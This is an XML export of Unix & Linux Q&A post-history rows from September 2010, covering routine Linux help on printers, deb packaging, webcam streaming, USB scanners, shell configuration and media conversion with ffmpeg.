  <row Id="4779" PostHistoryTypeId="5" PostId="2310" RevisionGUID="f5c4fd94-6564-4e40-9095-82bb8c0359fb" CreationDate="2010-09-21T16:21:45.173" UserId="1264" Comment="added 5 characters in body" Text="May be I'm not understanding something but why don't you simply install the US_intl keyboard layout and you'll have all accents available to all letters (possible) (and on windows too) and you make `ê` pressing `^` and `e`. `^` is on shift-6 on us keyboards, no idea on moeder taal keyboard!&#xD;&#xA;" />
  <row Id="4780" PostHistoryTypeId="2" PostId="2311" RevisionGUID="c67d86af-e84b-4090-a883-022041aa4a91" CreationDate="2010-09-21T16:37:11.123" UserId="305" Text="Something like:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/video0 | mplayer tv://device=/dev/stdin&#xD;&#xA;&#xD;&#xA;works for me (SOA#1) locally. So does:&#xD;&#xA;&#xD;&#xA;    ssh localhost dd if=/dev/video0 | mplayer tv://device=/dev/stdin&#xD;&#xA;&#xD;&#xA;As well as&#xD;&#xA;&#xD;&#xA;    mkfifo test&#xD;&#xA;    dd if=/dev/video0 of=test &amp;&#xD;&#xA;    mplayer tv://device=test&#xD;&#xA;&#xD;&#xA;Hence:&#xD;&#xA;&#xD;&#xA;1. Try without named pipe&#xD;&#xA;2. Check bandwidth&#xD;&#xA;&#xD;&#xA;Also - how does in **not** work (display black screen, complains about unknown device etc.)?" />
  <row Id="4781" PostHistoryTypeId="2" PostId="2312" RevisionGUID="b7d5316e-d9af-42e0-8ac5-b612cde272d6" CreationDate="2010-09-21T16:42:00.537" UserId="1190" Text="I've recently installed Debian squeeze on a new machine, and decided to try out the default gnome setup rather than attempt to do everything myself.&#xD;&#xA;&#xD;&#xA;I added a printer using *System &gt; Administration &gt; Printing* -- it found my network printer just fine.&#xD;&#xA;&#xD;&#xA;However, when powering on the machine this printer is disabled.  I have to go to the same dialog as above, enter the root password and enable the printer manually before jobs will be accepted.&#xD;&#xA;&#xD;&#xA;Any ideas on how to enable the printer automatically?  Note that it's quite possible the printer is turned on *after* the computer, if this makes a difference.  Either way it would be nice if the computer noticed when the printer was turned on." />
  <row Id="4782" PostHistoryTypeId="1" PostId="2312" RevisionGUID="b7d5316e-d9af-42e0-8ac5-b612cde272d6" CreationDate="2010-09-21T16:42:00.537" UserId="1190" Text="Network printer needs to be manually enabled after reboot" />
  <row Id="4783" PostHistoryTypeId="3" PostId="2312" RevisionGUID="b7d5316e-d9af-42e0-8ac5-b612cde272d6" CreationDate="2010-09-21T16:42:00.537" UserId="1190" Text="égnomeàédebianàéprintingà" />
  <row Id="4784" PostHistoryTypeId="5" PostId="2289" RevisionGUID="393f9c83-89be-4b45-90e3-853b80f0ed4d" CreationDate="2010-09-21T17:01:05.613" UserId="73" Comment="added 36 characters in body" Text="`find` is the generic way, as [Steven D's answer](http://unix.stackexchange.com/questions/2287/lsing-through-an-entire-directory-tree-to-produce-one-pipeable-list-of-files/2288#2288) explains. If your shell supports it, `**` can be used to match any number of subdirectories (on bash it's the same as `*` and only matches one by default, but see Dennis' comment), so you can just do:&#xD;&#xA;&#xD;&#xA;    cat **/*" />
  <row Id="4785" PostHistoryTypeId="2" PostId="2313" RevisionGUID="b250190c-ab53-4767-aa73-1bf2a365def2" CreationDate="2010-09-21T17:30:43.537" UserId="1746" Text="I am creating a deb package of a product which is part open source and part proprietary. In order to reuse the built in functionality of some distributions like Ubuntu to monitor a list of repositories and update the package when a new version comes available I will probably create such a repository.&#xD;&#xA;&#xD;&#xA;The problem is that the proprietary part of the package depends on licenses which are valid for a limited interval versions (valid for all the versions in a course of a year). Which means that at some point of time when a new version is available it will be nice to at least warn the user that his license will not be valid for the new version.&#xD;&#xA;&#xD;&#xA;Is there a way to do that check and interact with the user? I see that there are scripts in the deb package itself that can be executed before installation, but I have no idea if they can interact with the user and abort the package installation.&#xD;&#xA;&#xD;&#xA;Any suggestions on how such a functionality can be created are appreciated." />
  <row Id="4786" PostHistoryTypeId="1" PostId="2313" RevisionGUID="b250190c-ab53-4767-aa73-1bf2a365def2" CreationDate="2010-09-21T17:30:43.537" UserId="1746" Text="How to implement conditional update of deb package" />
  <row Id="4787" PostHistoryTypeId="3" PostId="2313" RevisionGUID="b250190c-ab53-4767-aa73-1bf2a365def2" CreationDate="2010-09-21T17:30:43.537" UserId="1746" Text="élinuxàépackagingàédebianà" />
  <row Id="4788" PostHistoryTypeId="5" PostId="1289" RevisionGUID="8112745a-d54e-4b25-a571-265d32307e5b" CreationDate="2010-09-21T18:00:04.180" UserId="305" Comment="added 20 characters in body" Text="I'm not aware about bash but for sure it is one of selling point of [zsh][1] shell. Personally I prefere zsh over bash so I'd advice try it.&#xD;&#xA;&#xD;&#xA;Part of my `~/.zshrc` that deals with history:&#xD;&#xA;&#xD;&#xA;    SAVEHIST=10000 # Number of entries&#xD;&#xA;    HISTSIZE=10000&#xD;&#xA;    HISTFILE=~/.zsh/history # File&#xD;&#xA;    setopt APPEND_HISTORY # Don't erase history&#xD;&#xA;    setopt EXTENDED_HISTORY # Add additional data to history like timestamp&#xD;&#xA;    setopt INC_APPEND_HISTORY # Add immidiatly&#xD;&#xA;    setopt HIST_FIND_NO_DUPS # Don't show duplicates in search&#xD;&#xA;    setopt HIST_IGNORE_SPACE # Don't preserve spaces. You may want to turn it off&#xD;&#xA;    setopt NO_HIST_BEEP # Don't beep&#xD;&#xA;    setopt SHARE_HISTORY # Share history between session/terminals&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zsh.org/" />
  <row Id="4789" PostHistoryTypeId="2" PostId="2314" RevisionGUID="592efcc8-6fae-44d9-ad27-736448ade775" CreationDate="2010-09-21T18:53:03.473" UserId="1339" Text="If this is possible or not depends on the package management of the specific linux distribution.&#xD;&#xA;Usually you can include your own scripts which are called pre/post installation of the package.&#xD;&#xA;&#xD;&#xA;See the [Debian Policy Manual - Chapter 6 Package maintainer scripts][1] for example.&#xD;&#xA;&#xD;&#xA;Anyway, every user with a little bit of experience will be able to bypass this &quot;protection&quot;. &#xD;&#xA;&#xD;&#xA;If you really want to include such kind of protection (which IMHO is useless and will do more harm then good) do it in the binary of the file.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/debian-policy/ch-maintainerscripts.html" />
  <row Id="4790" PostHistoryTypeId="2" PostId="2315" RevisionGUID="4a95d871-e496-4681-8a12-9ef3072fb298" CreationDate="2010-09-21T19:23:32.853" UserId="1777" Text="Hello.&#xD;&#xA;&#xD;&#xA;Like most of us, I have several machines: at home, at work, for travelling... etc. I mainly write papers or books while I code. But I'm tired of svn'ing, rsync'ing and so on, so I've decided to carry a pendrive with me, with my Ubuntu customizations (bash, emacs, ...) and at the end of the day, do a rsnapshot. My question is: how do I minimally run my home directory from a pendrive? What should I put in there?&#xD;&#xA;&#xD;&#xA;Thanks for any input." />
  <row Id="4791" PostHistoryTypeId="1" PostId="2315" RevisionGUID="4a95d871-e496-4681-8a12-9ef3072fb298" CreationDate="2010-09-21T19:23:32.853" UserId="1777" Text="Carry-on Ubuntu Customization" />
  <row Id="4792" PostHistoryTypeId="3" PostId="2315" RevisionGUID="4a95d871-e496-4681-8a12-9ef3072fb298" CreationDate="2010-09-21T19:23:32.853" UserId="1777" Text="éubuntuà" />
  <row Id="4793" PostHistoryTypeId="2" PostId="2316" RevisionGUID="e5819aa4-5e1f-41f0-a386-a41c08dcd59d" CreationDate="2010-09-21T19:48:46.663" UserId="1339" Text="The answer is pretty simple :-)&#xD;&#xA;You should put in there your documents you are working on and the dotfiles of the applications you use.&#xD;&#xA;&#xD;&#xA;Theres no such thing like a minimal set of files you need. If an application is missing its configuration file, it will usually create a new one like at the first start.&#xD;&#xA;&#xD;&#xA;Which files you will need depends on the applications you use, so you are the only one who can answer this.&#xD;&#xA;If you are unable to trace some config files, keep an eye on the subdirectories of `~/.gnome2` or `~/.kde`.&#xD;&#xA;&#xD;&#xA;To tell the system, where the location of your new home directory is, you should just automount your pendrive to /home/username or simply change the location of your users home directory in `/etc/passwd` to your pendrives mountpoint.&#xD;&#xA;&#xD;&#xA;If this doesn't fit your question, please be more specific. :-)" />
  <row Id="4794" PostHistoryTypeId="2" PostId="2317" RevisionGUID="e8dd1778-e9af-4747-a857-2390e32822a5" CreationDate="2010-09-21T22:01:11.047" UserId="1762" Text="Have you considered using [Ubuntu One][1] to synchronize your stuff? I'd be afraid to keep my home directory on a single pendrive, I've lost too many of those.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://one.ubuntu.com/" />
  <row Id="4795" PostHistoryTypeId="2" PostId="2318" RevisionGUID="4e8e02e4-88c2-4861-ab10-b09e929aac5c" CreationDate="2010-09-21T22:06:46.480" UserId="1762" Text="There is a page on the Mono site dedicated to [books][1]. I hope you will find something useful there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mono-project.com/Books" />
  <row Id="4796" PostHistoryTypeId="2" PostId="2319" RevisionGUID="d3cc6742-1406-4e0f-a350-84ee1098f448" CreationDate="2010-09-22T00:32:26.333" UserId="171" Text="Sounds like maybe the cups daemon is not running on start up. That is what it was when I had similar issue.&#xD;&#xA; You can check to see if it is running at start up. As root run&#xD;&#xA;&#xD;&#xA;    # service cups status&#xD;&#xA;&#xD;&#xA;if it is not running, then run &#xD;&#xA;&#xD;&#xA;    # service cups start&#xD;&#xA;&#xD;&#xA;See if that changes in the printer dialog.&#xD;&#xA;&#xD;&#xA;If that worked, to have cups  run at startup &#xD;&#xA;&#xD;&#xA;    # update-rc.d cups defaults&#xD;&#xA;&#xD;&#xA;Just a thought, on my current system the daemon is listed as cups, but; if you try cups and it returns &#xD;&#xA;&#xD;&#xA;&gt; cups: unrecognized service&#xD;&#xA;&#xD;&#xA;you might try &#xD;&#xA;&#xD;&#xA;&gt; cupsd in place of cups" />
  <row Id="4797" PostHistoryTypeId="2" PostId="2320" RevisionGUID="642629ee-f042-44fb-907d-27e35ea14789" CreationDate="2010-09-22T04:25:32.580" UserId="210" Text="I need to deploy, manage and run software as a non-privileged user in SuSE (that is, no root access whatsoever, can't use system's package management, etc).&#xD;&#xA;&#xD;&#xA;What are my options?&#xD;&#xA;&#xD;&#xA;I'd prefer reusing system's package manager (YaST) by somehow setting up a separate user-local repository. Second best choice is a separate package management system that supports user-local repositories. Preferably it would also support push-style updates (as opposed to pull)." />
  <row Id="4798" PostHistoryTypeId="1" PostId="2320" RevisionGUID="642629ee-f042-44fb-907d-27e35ea14789" CreationDate="2010-09-22T04:25:32.580" UserId="210" Text="User-local package management system" />
  <row Id="4799" PostHistoryTypeId="3" PostId="2320" RevisionGUID="642629ee-f042-44fb-907d-27e35ea14789" CreationDate="2010-09-22T04:25:32.580" UserId="210" Text="élinuxàépackageömanagementà" />
  <row Id="4800" PostHistoryTypeId="2" PostId="2321" RevisionGUID="931d6c20-5c64-4e36-872c-e0344e300bf6" CreationDate="2010-09-22T08:26:40.930" UserId="33" Text="Well for Gentoo there is the [Gentoo Prefix][1] project which allows you to install packages to somewhere different than / . Gentoo's Package manager portage is written in Python and very portable so you could easily setup a new tree for a user that that user has full access to without breaking anything.&#xD;&#xA;&#xD;&#xA;Two Problems I see:&#xD;&#xA;&#xD;&#xA; 1. You'll probably have to compile a lot of stuff or build binary packages for your users that way and you'll probably have to install a lot of stuff twice so that the prefix thingy works properly (I think it would be hard to build stuff against you already installed packages that way)&#xD;&#xA; &#xD;&#xA; 2. You'd not have a push-service.&#xD;&#xA;&#xD;&#xA;The other approach I see would be to offer a punch of tar.gz files that are basically just custom made packages from your distribution patched to use a different prefix: Let's say you create a &quot;Library&quot; dir in every user dir and add &quot;~/Library/usr/bin&quot; to each user's path, a simple package manager could be whipped up to take care of installations (you could also look at Arch Linux's pacman for that since it's basically just .tar.gz files and dependencies.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/proj/en/gentoo-alt/prefix/ &quot;Gentoo Prefix&quot;" />
  <row Id="4801" PostHistoryTypeId="2" PostId="2322" RevisionGUID="1d8b8901-2570-4d67-a87d-e76cd2371014" CreationDate="2010-09-22T08:44:22.223" UserId="1941" Text="In the Gnome file manager Nautilus you can directly access windows shares like this: Hit Ctrl+L so that the Location buttons turn into an edit filed. There you write smb://192.168.1.1 and hit enter. (Replace 192.168.1.1 with IP or hostname of your Windows computer.) It should ask for your windows Password and then show all shares.&#xD;&#xA;&#xD;&#xA;For accessing your Linux files from Windows, you can use WinSCP." />
  <row Id="4802" PostHistoryTypeId="6" PostId="2320" RevisionGUID="fa9c1871-8bc4-413c-a148-6cf6768e42b1" CreationDate="2010-09-22T08:45:33.767" UserId="1339" Comment="edited tags" Text="élinuxàépackageömanagementàésuseà" />
  <row Id="4803" PostHistoryTypeId="2" PostId="2323" RevisionGUID="a0b94557-4c9b-4bcb-bef0-531c0b0e6286" CreationDate="2010-09-22T08:48:52.433" UserId="1327" Text="When I plug in **SIPOD**, *my pet ipod*, thunar tries to auto-mount **two** partitions instead of **one**. &#xD;&#xA;&#xD;&#xA;This annoying pop-up is starting to kill me:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;This is what `/dev/sde` looks like:&#xD;&#xA;&#xD;&#xA;    $ sudo file -s /dev/sde*&#xD;&#xA;    /dev/sde:  x86 boot sector, code offset 0x58, OEM-ID &quot;MSDOS5.0&quot;, Bytes/sector 2048, sectors/cluster 8, reserved sectors 512, Media descriptor 0xf8, heads 255, sectors 39075371 (volumes &gt; 32 MB) , FAT (32 bit), sectors/FAT 0, infoSector 0, Backup boot sector 0, reserved3 0x50000, physical drive 0x5, serial number 0xa88b3652, label: &quot;       iPod&quot;&#xD;&#xA;    /dev/sde1: data&#xD;&#xA;    /dev/sde2: x86 boot sector, code offset 0x3c, OEM-ID &quot;*UOKJIHC&quot; cached by Windows 9M, Bytes/sector 2048, sectors/cluster 8, Media descriptor 0xf8, heads 255, hidden sectors 64260, sectors 39011108 (volumes &gt; 32 MB) , FAT (32 bit), sectors/FAT 9522, reserved3 0x1000000, reserved 0x1, serial number 0x58dd9832, label: &quot;SIPOD      &quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to tell thunar to completely ignore `/dev/sde1`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/yKf4N.png" />
  <row Id="4804" PostHistoryTypeId="1" PostId="2323" RevisionGUID="a0b94557-4c9b-4bcb-bef0-531c0b0e6286" CreationDate="2010-09-22T08:48:52.433" UserId="1327" Text="How do I stop thunar trying auto-mount a partition" />
  <row Id="4805" PostHistoryTypeId="3" PostId="2323" RevisionGUID="a0b94557-4c9b-4bcb-bef0-531c0b0e6286" CreationDate="2010-09-22T08:48:52.433" UserId="1327" Text="éautomountingàéthunarà" />
  <row Id="4806" PostHistoryTypeId="2" PostId="2324" RevisionGUID="fcc54bda-c697-413c-9cfd-a66615d28dc7" CreationDate="2010-09-22T08:49:38.850" UserId="1941" Text="For Emacs however, there is a special packet called emacs23-el under Ubuntu which includes all el-files of Emacs and installs them alongside the elc-Files. This has the advantage, that you can directly look at function and variable definitions from Emacs. Say you want to look at how the function string-insert-rectangle is defined. You hit C-h f string-insert-rectangle &lt;RET&gt; and a Help buffer appears with documentation, telling that it is defined in rect.el. If you click on rect.el Emacs automatically shows the function definition." />
  <row Id="4807" PostHistoryTypeId="2" PostId="2325" RevisionGUID="a44b0ceb-7833-4216-ba60-7838fb4ccf4d" CreationDate="2010-09-22T08:53:07.020" UserId="1941" Text="Can't you use a specialized mail-notification tool like Gnubiff, mail-notification or kbiff?" />
  <row Id="4808" PostHistoryTypeId="2" PostId="2326" RevisionGUID="f663c97e-c15b-48dd-a450-b469694b95f3" CreationDate="2010-09-22T08:57:30.987" UserId="1942" Text="This is a question on:[superuser][1], since one reply suggested I ask here...&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;My distro does not yet have a backend for my scanner, but the last release of SANE does. So I downloaded the source and installed.&#xD;&#xA;&#xD;&#xA;Scanning goes fairly well except that for some reason at the end of a scan I get an error message:&#xD;&#xA;&#xD;&#xA;&quot;reset high speed USB device using ehci_hcd and address xx&quot;&#xD;&#xA;&#xD;&#xA;After that I can't scan anything until I unplug and replug the ( USB ) scanner.&#xD;&#xA;&#xD;&#xA;Since I expect my distro to pick up the latest sane version within a few months, for now all I would like to do is reset the scanner so it can do the next page.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/191326/linux-reseting-usb-for-scanner" />
  <row Id="4809" PostHistoryTypeId="1" PostId="2326" RevisionGUID="f663c97e-c15b-48dd-a450-b469694b95f3" CreationDate="2010-09-22T08:57:30.987" UserId="1942" Text="Reseting USB for scanner." />
  <row Id="4810" PostHistoryTypeId="3" PostId="2326" RevisionGUID="f663c97e-c15b-48dd-a450-b469694b95f3" CreationDate="2010-09-22T08:57:30.987" UserId="1942" Text="éusbà" />
  <row Id="4811" PostHistoryTypeId="2" PostId="2327" RevisionGUID="f79c3132-ac96-4a2b-af80-4f128ddd0a0a" CreationDate="2010-09-22T09:01:08.850" UserId="1339" Text="I don't belive that the thunar automount is configurable to ignore special devices.&#xD;&#xA;&#xD;&#xA;Anyway in my point of view, mounting filesystems is not the job of an application, it should be the job of the operating system.&#xD;&#xA;&#xD;&#xA;You could disable thunars automount feature and use [udev][1] and [autofs][2].&#xD;&#xA;&#xD;&#xA;With udev rules you can recoginze your devices and define how to handle it.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.ubuntu.com/X/Config/Input#Input%20Configuration%20with%20udev%20(Ubuntu%2010.04)&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Autofs" />
  <row Id="4812" PostHistoryTypeId="6" PostId="2326" RevisionGUID="1e25337c-d2b1-4f80-a0cd-698854a8eae8" CreationDate="2010-09-22T09:04:25.413" UserId="1339" Comment="edited tags" Text="éusbàésaneà" />
  <row Id="4813" PostHistoryTypeId="2" PostId="2328" RevisionGUID="bfbd3b52-db53-488b-a0e5-49c1d4289acb" CreationDate="2010-09-22T09:13:14.900" UserId="1339" Text="Not a solution but a workaround:&#xD;&#xA;&#xD;&#xA;Some devices have a problem working with USB 2.0 and ehci_hcd.&#xD;&#xA;I'm not really sure if this is a bug in the ehci_hcd code or on some other place, I just encountered it sometimes.&#xD;&#xA;&#xD;&#xA;You could try a `modprobe -r ehci_hcd` so the USB 2.0 module will be unloaded and uhci_hcd is used." />
  <row Id="4814" PostHistoryTypeId="6" PostId="2326" RevisionGUID="513790df-f1dc-4e57-a4e0-b4a472d31bff" CreationDate="2010-09-22T09:13:41.777" UserId="1339" Comment="edited tags" Text="élinuxàéusbàésaneà" />
  <row Id="4815" PostHistoryTypeId="5" PostId="2327" RevisionGUID="b79ff9c6-f8b6-44f0-a36a-4904cc521919" CreationDate="2010-09-22T09:35:00.480" UserId="1339" Comment="added 27 characters in body" Text="I don't belive that the thunar automount is configurable to ignore special devices (I'm not for 100% sure...).&#xD;&#xA;&#xD;&#xA;Anyway in my point of view, mounting filesystems is not the job of an application, it should be the job of the operating system.&#xD;&#xA;&#xD;&#xA;You could disable thunars automount feature and use [udev][1] and [autofs][2].&#xD;&#xA;&#xD;&#xA;With udev rules you can recoginze your devices and define how to handle it.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.ubuntu.com/X/Config/Input#Input%20Configuration%20with%20udev%20(Ubuntu%2010.04)&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Autofs" />
  <row Id="4816" PostHistoryTypeId="2" PostId="2329" RevisionGUID="e00ee353-736e-48be-a57b-878c4866341e" CreationDate="2010-09-22T10:03:00.823" UserId="1339" Text="It is not possible to customize the &quot;new mail notification&quot; of alpine.&#xD;&#xA;&#xD;&#xA;There is no such option mentioned in the [configuration documentation][1].&#xD;&#xA;&#xD;&#xA;Also here is a [quote][2] from the mailinglist from Eduardo Chappa:&#xD;&#xA;&#xD;&#xA;&gt; &gt; I've noticed that alpine gives a visual alert in gnome terminal by &#xD;&#xA;&gt; &gt; flashing the screen, when a new mail arrives. Is there any way to &#xD;&#xA;&gt; &gt; customise the alert, so that, for instance, it plays a sound or &#xD;&#xA;&gt; &gt; something? &#xD;&#xA;&gt; &#xD;&#xA;&gt; [..] &#xD;&#xA;&gt; &#xD;&#xA;&gt; Alpine, as you can guess now,&#xD;&#xA;&gt; will only beep. In Web Alpine it is&#xD;&#xA;&gt; possible  to send a file to be played&#xD;&#xA;&gt; (to the browser) for new mail&#xD;&#xA;&gt; notification.  There is no such&#xD;&#xA;&gt; feature in Unix, Mac or Windows&#xD;&#xA;&gt; Alpine.&#xD;&#xA;&#xD;&#xA;Your options are now:&#xD;&#xA;&#xD;&#xA;* write a feature request to the [alpine-info mailinglist][3]&#xD;&#xA;* get the sources and write a patch&#xD;&#xA;* use an external tool like [Mail Notification][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And to quote the developer of my favorit mail client:&#xD;&#xA;&gt; All mailclients suck...&#xD;&#xA;&#xD;&#xA;:-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.washington.edu/alpine/tech-notes/config.html&#xD;&#xA;  [2]: http://mailman2.u.washington.edu/pipermail/alpine-info/2009-January/001572.html&#xD;&#xA;  [3]: http://www.washington.edu/alpine/alpine-info/&#xD;&#xA;  [4]: http://www.nongnu.org/mailnotify/" />
  <row Id="4817" PostHistoryTypeId="5" PostId="2326" RevisionGUID="8fcc6ebf-b13f-4c6c-bfd2-d3dd73b84871" CreationDate="2010-09-22T10:14:33.667" UserId="1942" Comment="added 40 characters in body" Text="This is a question on:[superuser][1], since one reply suggested I ask here...&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;My distro does not yet have a backend for my scanner, but the last release of SANE does. So I downloaded the source and installed.&#xD;&#xA;&#xD;&#xA;Scanning goes fairly well except that for some reason at the end of a scan I get an error message:&#xD;&#xA;&#xD;&#xA;&quot;reset high speed USB device using ehci_hcd and address xx&quot;&#xD;&#xA;&#xD;&#xA;After that I can't scan anything until I unplug and replug the ( USB ) scanner.&#xD;&#xA;&#xD;&#xA;Since I expect my distro to pick up the latest sane version within a few months, for now all I would like to do is reset the scanner so it can do the next page.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to do this?&#xD;&#xA;&#xD;&#xA;PS: The kernel version is: 2.6.1.31-22&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/191326/linux-reseting-usb-for-scanner" />
  <row Id="4818" PostHistoryTypeId="2" PostId="2330" RevisionGUID="cba70f40-1361-457c-8015-b8c47300bd8d" CreationDate="2010-09-22T10:15:59.010" UserId="1941" Text="zsh has the concept of named directories, so you can say in ~/.zshrc&#xD;&#xA;&#xD;&#xA;    c=/home/fschmitt/svn/plugin_root&#xD;&#xA;    : ~c&#xD;&#xA;and later use this short cut in the shell like this&#xD;&#xA;&#xD;&#xA;    cd ~c/release&#xD;&#xA;&#xD;&#xA;How to best emulate this with bash? I can of course say&#xD;&#xA;&#xD;&#xA;    export c=/home/fschmitt/svn/plugin_root&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&#xD;&#xA;    cd $c/release&#xD;&#xA;&#xD;&#xA;however firstly, the $ is complicated to input on German keyboard layout and secondly, I fear binding a variable with just a single letter name might give problems with unwanted variable expansion." />
  <row Id="4819" PostHistoryTypeId="1" PostId="2330" RevisionGUID="cba70f40-1361-457c-8015-b8c47300bd8d" CreationDate="2010-09-22T10:15:59.010" UserId="1941" Text="How to mimic zsh named directories with bash" />
  <row Id="4820" PostHistoryTypeId="3" PostId="2330" RevisionGUID="cba70f40-1361-457c-8015-b8c47300bd8d" CreationDate="2010-09-22T10:15:59.010" UserId="1941" Text="ébashàézshà" />
  <row Id="4821" PostHistoryTypeId="2" PostId="2331" RevisionGUID="2769356c-f9ea-47c6-820a-540e1cb14c16" CreationDate="2010-09-22T10:24:12.320" UserId="1941" Text="You say, you look more for pointer on how to get information than a concrete answer. Here is such a pointer: You face the same problem as people renting a dedicated server running a distribution they don't like. They also have access to the machine over network, and have to bootstrap an other distro. Searching for &quot;dedicated server bootstrap linux&quot; on Google gives me plenty of hits..." />
  <row Id="4822" PostHistoryTypeId="2" PostId="2332" RevisionGUID="352936db-6fc4-49e7-954a-bccdabe3725b" CreationDate="2010-09-22T10:30:06.677" UserId="1794" Text="An way would be creating an alias for cd which replaces `~c` to the wanted path. Or just use zsh ;)" />
  <row Id="4823" PostHistoryTypeId="2" PostId="2333" RevisionGUID="03310f3d-7bef-4301-9c20-70f7a29c8838" CreationDate="2010-09-22T10:31:19.843" UserId="1941" Text="For simply running a script after the computer started but before a user logs in, you can simply edit the script /etc/rc.local which is meant to solve exactly this task." />
  <row Id="4824" PostHistoryTypeId="2" PostId="2334" RevisionGUID="2869f59e-ec74-4c0d-8ebf-037dc672bb81" CreationDate="2010-09-22T10:36:10.287" UserId="1924" Text="do you know something which is able to convert almost all media types?&#xD;&#xA;from flv to music to wav to mp3?" />
  <row Id="4825" PostHistoryTypeId="1" PostId="2334" RevisionGUID="2869f59e-ec74-4c0d-8ebf-037dc672bb81" CreationDate="2010-09-22T10:36:10.287" UserId="1924" Text="all media converter" />
  <row Id="4826" PostHistoryTypeId="3" PostId="2334" RevisionGUID="2869f59e-ec74-4c0d-8ebf-037dc672bb81" CreationDate="2010-09-22T10:36:10.287" UserId="1924" Text="élinuxàésoftwareörecà" />
  <row Id="4827" PostHistoryTypeId="2" PostId="2335" RevisionGUID="c07a2282-f972-4157-ad96-eb453d9282e5" CreationDate="2010-09-22T11:02:16.410" UserId="1327" Text="[ffmpeg][1] is what you are looking for.&#xD;&#xA;&#xD;&#xA;You can read through the official [documentation][2].&#xD;&#xA;&#xD;&#xA;Otherwise just search on google &quot;convert X to Y with ffmepg&quot;, where X and Y would be the formats you trying to convert between.&#xD;&#xA;&#xD;&#xA;[1]:http://www.ffmpeg.org/&#xD;&#xA;[2]:http://www.ffmpeg.org/ffmpeg-doc.html" />
  <row Id="4828" PostHistoryTypeId="2" PostId="2336" RevisionGUID="5486ef07-0ae2-468a-b691-6a196630c9f8" CreationDate="2010-09-22T11:06:27.947" UserId="1339" Text="You should have a look at the FFmpeg project.&#xD;&#xA;&#xD;&#xA;From the project description:&#xD;&#xA;&gt; &quot;FFmpeg is a complete, cross-platform&#xD;&#xA;&gt; solution to record, convert and stream&#xD;&#xA;&gt; audio and video. It includes&#xD;&#xA;&gt; libavcodec - the leading audio/video&#xD;&#xA;&gt; codec library.&quot;&#xD;&#xA;&#xD;&#xA;It is likely already installed on your system because alot of media players depend on the libavcodec library.&#xD;&#xA;&#xD;&#xA;To see the availible codecs on your system, execute `ffmpeg -codecs`&#xD;&#xA;&#xD;&#xA; - [list of codecs][1] provided by ffmpeg&#xD;&#xA; - [list of video codecs][2] provided by libavcodec &#xD;&#xA; - [list of audio codecs][3] provided by libavcodec&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ffmpeg#Codecs&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Libavcodec#Implemented_video_codecs&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Libavcodec#Implemented_audio_codecs" />
  <row Id="4829" PostHistoryTypeId="2" PostId="2337" RevisionGUID="0b0d843b-46cf-4e41-a4de-3b982eb1085a" CreationDate="2010-09-22T11:08:00.923" UserId="1941" Text="I regulary use http://www.online-convert.com/ which is an online service for conversion between all kinds of audio, video, image and document formats." />
  <row Id="4830" PostHistoryTypeId="5" PostId="2335" RevisionGUID="ed4b199e-b707-4cb7-b9e6-422f48875a53" CreationDate="2010-09-22T11:09:25.177" UserId="1327" Comment="added 367 characters in body; added 74 characters in body" Text="[ffmpeg][1] is what you are looking for.&#xD;&#xA;&#xD;&#xA;You can read through the official [documentation][2].&#xD;&#xA;&#xD;&#xA;Otherwise just search on [google][3] &quot;convert X to Y with ffmepg&quot;, where X and Y would be the formats you trying to convert between.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA; A few resources that has helped me:&#xD;&#xA;&#xD;&#xA; [here][4] and [here][5]&#xD;&#xA;&#xD;&#xA;[1]:http://www.ffmpeg.org/&#xD;&#xA;[2]:http://www.ffmpeg.org/ffmpeg-doc.html&#xD;&#xA;[3]:http://www.google.com/search?ie=UTF-8&amp;oe=UTF-8&amp;sourceid=navclient&amp;gfns=1&amp;q=how+to+calculate+the+mode+with+my+calculator#sclient=psy&amp;hl=en&amp;safe=off&amp;q=ffmpeg+convert+.mp4+to+.avi&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=7b3e9e0669ddb0a1&#xD;&#xA;[4]:http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs&#xD;&#xA;[5]:http://www.commandlinefu.com/commands/tagged/76/ffmpeg" />
  <row Id="4831" PostHistoryTypeId="2" PostId="2338" RevisionGUID="a2a923be-f0c9-4e97-9c70-5d9b7cccd577" CreationDate="2010-09-22T11:21:45.367" UserId="1945" Text="You can try [transcode](http://www.transcoding.org/) too, its a great command line application." />
  <row Id="4832" PostHistoryTypeId="2" PostId="2339" RevisionGUID="acbbba23-b674-49bb-b625-3dac216408fb" CreationDate="2010-09-22T11:46:05.090" UserId="1946" Text="Or you could use wcd: [Wherever Change Directory][1]&#xD;&#xA;&#xD;&#xA;With that, it'll be like `wcd plugin_root`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xs4all.nl/~waterlan/&#xD;&#xA;" />
